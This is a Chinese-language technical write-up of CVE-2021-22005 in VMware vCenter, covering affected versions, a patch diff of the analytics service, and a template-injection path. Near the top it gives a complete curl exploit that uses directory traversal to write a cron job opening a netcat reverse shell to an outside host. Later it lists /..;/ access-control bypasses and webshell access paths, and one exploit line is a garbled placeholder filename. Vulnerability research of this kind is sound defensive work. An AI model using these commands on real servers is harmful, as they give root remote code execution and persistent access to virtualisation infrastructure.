CVE-2021-22005
Analytics服务相关端点存在目录穿越写文件,可将
影响版本:
- 7.0 <= vCenter Server < 7.0 U2c
- 6.7 <= vCenter Server < 6.7 U3o
利用链1:curl -k -X POST 'https://1.1.1.1/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/syslog' -d '* * * * * root nc -e /bin/sh 2.2.2.2 1337' -H 'Content-Type: application/json'
利用链2:asdklajsdlkajsdlkajsdakjsdhalskdasdioasiodaklsd.py
AsyncTelemetryController漏洞分析
vCenter在9月更新修复了一堆漏洞,由官方发布的CVE-2021-22005缓解措施可以知道漏洞所在服务与Web路径:
对应路径的rhttpproxy策略在vCenter各版本中也不尽相同:
下载漏洞修复前后的两个补丁(VMware-vCenter-Server-Appliance-6.7.0.48000-18010531-patch-FP.iso、VMware-vCenter-Server-Appliance-6.7.0.50000-18485166-patch-FP.iso)并解压VMware-analytics的rpm包,反编译对比相关jar包:
对/ph/api/hyper/send
路径的_v
、_c
、_i
请求参数分别绑定给version
、collectorId
、collectorInstanceId
变量,随后调用存在补丁变动的handleSendRequest
方法,添加了对传入变量的白名单校验。AsyncTelemetryController
类的另一处补丁变动类似,在handleGetLevelRequest
方法添加了白名单校验。
跟进TelemetryService
接口相应的具体实现,之前组装好的TelemetryRequest
对象被加入了线程池异步调用。在/etc/vmware-analytics/ph-telemetry-prod.xml
找到bean相关类。
1 | <bean id="phProdTelemetryService" |
- 动态调试套路与之前一样,配置文件在
/etc/vmware/vmware-vmon/svcCfgfiles/analytics.json
,改完重启服务service-control --restart vmware-analytics
TelemetryLevelBasedTelemetryServiceWrapper
类processTelemetry
方法会调用DefaultTelemetryLevelService
类getTelemetryLevel
方法获取telemetryLevel
。
继续跟进看到需要isCeipEnabled
不为默认值false
才会继续流程:
随后调用LogTelemetryService
类processTelemetry
方法,利用log4j写日志文件至/var/log/vmware/analytics/prod/
目录,文件内容为POST请求体数据。
很自然地想到之前21972目录穿越写文件,不同的是此时存在json后缀名,不能直接写WebShell;也要注意到我们此时是root而非vsphere-ui用户,可以写计划任务。但是构造/../
后_c_i
目录不存在,导致目录穿越报错:
可以先发送_i=/any
,利用createManager
方法的FileUtils.makeParentDirs
将_c_i
目录创建出来,随后再由目录穿越写计划任务反弹shell。
DataAppAgentController漏洞分析
对比官方验证脚本的另一处路径对应jar包,/dataapp/agent
路径的action=collect
相关代码被整段移除:
跟进collect
方法后经历了各种类方法跳转,将POST请求体中JSON的manifestContent
参数值解析后,作为VelocityHelper.executeVelocityExpression
方法的入参this._mappingCode
。
接着带入VelocityEngine
类evaluate
方法作为模板语句动态执行:
- 不同版本的Velocity方法名略有不同
最终 @testbnull 发现可以通过上下文可用的$GLOBAL-logger
,利用setFile
方法临时修改日志路径到Web路径的方式,写入WebShell实现RCE。
Bypass
由于Tomcat会将/..;/
视作/../
,可以利用该特性绕过vCenter某些版本的rhttpproxy的访问限制,也可以用来绕过某些WAF的简单规则。
/analytics/cloudhealth/sdk/..;/..;/ph/api/xxx
漏洞利用还有如下路径可供参考,但我没有仔细测试各个版本:
1 | /analytics/ceip/sdk |
对/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/
下的WebShell也需要利用路径穿越访问,用得最多的是/idm/..;/shell.jsp
,还有如下访问路径可供参考:
1 | /sso-adminserver/idp |